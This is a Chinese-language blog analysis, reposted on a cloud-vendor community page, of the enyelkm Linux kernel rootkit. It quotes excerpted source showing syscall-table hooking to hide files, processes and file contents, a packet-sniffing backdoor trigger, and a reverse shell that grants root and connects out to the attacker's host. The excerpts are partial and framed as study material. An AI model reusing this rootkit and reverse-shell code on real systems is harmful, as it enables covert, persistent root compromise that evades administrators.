兩個linux核心rootkit–之一:enyelkm

來源:互聯網
上載者:User

轉自:http://blog.csdn.net/dog250/archive/2010/02/09/5303687.aspx

 

 

首先,這個rootkit其實是一個核心木馬,和大多數木馬不同的是,惡意木馬所在的機器是用戶端而不是伺服器,而駭客所在的機器是伺服器,這樣做的好處在於可以躲避防火牆,一般的防火牆對外出的包審查不是那麼嚴格而對進入的包審查嚴格,如果惡意程式是伺服器,那麼防火牆很可能會攔截連入伺服器的駭客用戶端進程導致攻擊受到阻礙,現在的情況是駭客所在的機器是伺服器,他首先發送召喚包到用戶端,用戶端收到召喚包以後就會串連伺服器,這個連結一般的防火牆是不會攔截的,否則防火牆內部的機器將會受到很大的限制。該rootkit的另外一個創意就是使用虛擬終端的方式而不是普通的shell的方式,這樣的話可以有效躲避登入記錄,在linux上utmp和wtmp只要負責使用者的登入記錄,命令who只要就是讀取這個utmp檔案然後將資訊羅列出來,可是即使在utmp的官方文檔上也提到,它不是記錄所有的使用者登陸,關鍵在於登入程式是否主動的記錄,有了這個創意,惡意程式所在的機器的管理員很難發現這個核心木馬,他們很難察覺到自己的機器已經被控制,只要做到了這一點就相當於做到了一切,管理員察覺不到他們自然不會去採取什麼措施,攻擊者自然而然也就可以長久逍遙法外了。

該rootkit主要使用替換系統調用的方式來實施攻擊,替換系統調用的目的在於進程隱藏等等擦屁股機制,雖然該方式不是那麼天衣無縫,最起碼也能使閱讀者學習一些彙編的知識,何樂而不為,如果你真的認為這種方式太土,那麼就請閱讀後面的一篇文章,adore的方式應該可以接近你的預想了,先看這個代碼本身吧,它可以從很多網站下載,本文只是簡單分析之:

int init_module(void) //模組初始化函數

{

...

lanzar_shell = 0; //該全域變數指示是否要啟動一個shell

atomic_set(&read_activo, 0);

global_ip = 0xffffffff;

...//得到系統調用入口的地址,有多種方式

orig_kill = sys_call_table[__NR_kill];

orig_getdents64 = sys_call_table[__NR_getdents64];

orig_getdents = sys_call_table[__NR_getdents];

//設定鉤子,也就是替換

set_idt_handler(s_call);

set_sysenter_handler(sysenter_entry);

//安裝網路啟動後門

my_pkt.type=htons(ETH_P_ALL);

my_pkt.func=capturar;

dev_add_pack(&my_pkt);

return(0);

}

void cleanup_module(void)//省略

在模組初始化的過程最後安裝了網路啟動後門,這個很容易理解,駭客一般通過網路來操作遠程機器,既然通過網路,那麼遠程機器中必然要有一個類似間諜的程式,這就是ETH_P_ALL通訊協定處理常式,只要註冊了ETH_P_ALL通訊協定處理常式,所有進來的資料包都會被其檢查並處理,實際上這是linux網路通訊協定棧的一個底層的機制,在網卡接收到資料以後,為了確定鏈路層以上該如何處理,處理邏輯會遍曆所有的註冊的通訊協定處理常式,哪個可以處理哪個處理之,協議類型在skb中可以得到,其實就是解析資料幀的格式以找到固定位移處的協議,ETH_P_ALL比較特殊,所有註冊的ETH_P_ALL協議類型的處理實體會串連成一個鏈表,核心處理邏輯會遍曆這個鏈表,然後讓每一個ETH_P_ALL的協議處理實體去處理該接收到的資料包,當遍曆完了所有的ETH_P_ALL處理實體以後,核心再將資料包交給這個skb真正的協議的處理實體,實際上ETH_P_ALL類型的協議處理實體就是一個旁路處理邏輯,無論如何都要進行的,在該rootkit中,正是這個ETH_P_ALL類型的協議處理實體檢測到了遠端駭客的召喚,從而將lanzar_shell設定為1,然後核心的任意一處只要檢測到lanzar_shell為1,就會啟動串連進程串連駭客用戶端,實際上該串連進程是核心進程,核心進程不好嗎?當然好,權力無限大啊。接著上面的模組初始化說,在set_idt_handler中主要就是替換系統調用處理函數,從而實現惡意程式自己的控制邏輯,它將原來的處理邏輯替換成了new_idt,我們看一下new_idt:

void new_idt(void)

{

ASMIDType //這個沒啥好說的,就是簡單的改變了原來的sys_call處理,跳轉到hook做進一步的判斷和權衡

(

"cmp %0, %%eax /n"

"jae syscallmala /n"

"jmp hook /n"

"syscallmala: /n"

"jmp dire_exit /n"

: : "i" (NR_syscalls)

);

}

void hook(void)

{

register int eax asm("eax");

switch(eax)

{

case __NR_kill: //目的是進程防殺,要防殺的進程pid存入一個全域變數,在hacked_kill中判斷,如果是,那麼直接返回

CallHookedSyscall(hacked_kill); //如果是調用kill,那麼跳到我們的kill,以下雷同

break;

case __NR_getdents: //目的是檔案隱藏,在枚舉該目錄下的檔案的時候,如果檔案名稱有隱藏特徵,那麼就跳過同時更新位移和大小

CallHookedSyscall(hacked_getdents);

break;

case __NR_getdents64: //同上

CallHookedSyscall(hacked_getdents64);

break;

case __NR_read: //目的是隱藏檔案中特定內容,下面有分析

CallHookedSyscall(hacked_read);

break;

default:

JmPushRet(dire_call); //其餘的直通

break;

}

JmPushRet( after_call );

}

每一個協議類型都會註冊一個處理實體,比如ip,ppp,can,或者別的私人協議,一般都是鏈路層以上的協議,有一種特殊的協議,其實不應該叫做協議,它就是ETH_P_ALL,這個協議主要就是旁路資料的,ETH_P_ALL所註冊的介面上經過的所有的資料包都要經過它的處理,capturar作為其中一個的實現是:

int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt, struct net_device *dev2)

{

unsigned short len;

char buf[256], *p;

int i;

struct iphdr *iph = (struct iphdr*)skb->network_header;

switch(iph->protocol)

{

case 1:

if (skb->pkt_type != PACKET_HOST)

...//如果不是主機包就不處理,顯然需要主機包

...//後面的歸根結底就是在木馬伺服器召喚的時候將lanzar_shell設定為1從而啟動shell

}

}

在核心的任何一個地方,只要檢測到lanzar_shell是1,那麼就要在一個新的進程上下文中啟動reverse_shell,到底在哪裡判斷好呢?就在我們已經截獲的系統調用比如read中吧,在理解啟動新的核心連接線程的同時我們順便也簡單講解一下被黑掉的read系統調用的執行邏輯:

asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes)

{

struct file *fichero;

int fput_needed;

ssize_t ret;

if (lanzar_shell == 1) //在適當情況執行串連伺服器的核心線程

{

lanzar_shell = 0;

if (!fork()) //在子進程中做這件事

reverse_shell();

}

...

fichero = e_fget_light(fd, &fput_needed);

if (fichero)

{

ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos);

switch(checkear(buf, ret, fichero)) //checkear其實就是一個字串解析,前面的vfs_read已經得到了讀取的字串,該函數中解析是否存在我們需要隱藏的字串,如果有那麼返回1,如果沒有,那麼返回-1

{

case 1:

ret = hide_marcas(buf, ret); //由於在vfs_read已經將資料拷貝到了使用者空間,那麼該函數實際上就是將已經拷貝到使用者空間的並且我們需要屏蔽的字串給隱藏掉,最終的工作就是截掉需要隱藏的字串,同時更改長度,位移等資訊

break;

case -1: //如果沒有找到需要隱藏的字串,那麼什麼也不做,執行最終的退出

break;

...

}

int reverse_shell(void)

{

struct task_struct *ptr = current;

struct sockaddr_in dire;

mm_segment_t old_fs;

unsigned long arg[3];

int soc, tmp_pid, i;

unsigned char tmp;

fd_set s_read;

old_fs = get_fs();

ptr->uid = 0; //root許可權

ptr->euid = 0;

ptr->gid = SGID;

ptr->egid = 0;

arg[0] = AF_INET; //設定通訊端建立參數,省略

...

set_fs(KERNEL_DS); //設定安全參數上限

ssetmask(~0);

for (i=0; i < 4096; i++)

close(i);

if ((soc = socketcall(SYS_SOCKET, arg)) == -1) //建立通訊端

...//出錯處理,假設不出錯

memset((void *) &dire, 0, sizeof(dire));

//dire的global_port和global_ip在capturar協議回呼函數中被賦值

dire.sin_family = AF_INET;

dire.sin_port = htons((unsigned short) global_port);

dire.sin_addr.s_addr = (unsigned long) global_ip;

arg[0] = soc; //此處三行代碼設定串連參數

arg[1] = (unsigned long) &dire;

arg[2] = (unsigned long) sizeof(dire);

if (socketcall(SYS_CONNECT, arg) == -1) //串連伺服器

...//出錯處理,我們假設不出錯

epty = get_pty(); //得到一對虛擬終端並且返回一個的描述符,這個返回的描述符在子進程使用,而另一個在此進程使用,作為子進程描述符和通訊端的代理二傳手

set_fs(old_fs);

if (!(tmp_pid = fork())) //在子進程中啟動一個shell,見下面的函數

ejecutar_shell();

set_fs(KERNEL_DS);

while(1) //無窮迴圈,和駭客所在的伺服器進行通訊

{

...//select開啟的虛擬終端和通訊端

...//如果虛擬終端可讀,那麼將讀到的資料寫入到通訊端

...//如果通訊端可讀,那麼將獨到的資料寫入虛擬終端

} /* fin while */

...//結束,收尾處理

}

void ejecutar_shell(void)

{

struct task_struct *ptr = current;

mm_segment_t old_fs;

old_fs = get_fs();

set_fs(KERNEL_DS);

ptr->uid = 0; //這就是目的,root許可權

ptr->euid = 0;

ptr->gid = SGID;

ptr->egid = 0;

dup2(epty, 0); //重新導向標準輸入輸出

dup2(epty, 1);

dup2(epty, 2);

...//無關緊要的設定之後執行execve

execve(earg[0], (const char **) earg, (const char **) env);

}

上面就是該核心木馬或者叫rootkit的大致實現邏輯,所用到的方法很土,但是卻使用了作業系統hacker的一般方法,這個rootkit的實現很清晰,再清晰不過了,如果你試著去編譯,很簡單的就會得到遠程機器的一個擁有root使用者權限的shell。無論如何,這個rootkit也只能作為學習之用,在當今強大的反黑軟體之前,它很容易被檢測到,那麼下面的一個rootkit將很難被檢測到,因為它黑掉的不是確定性東西,而是不確定的東西。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.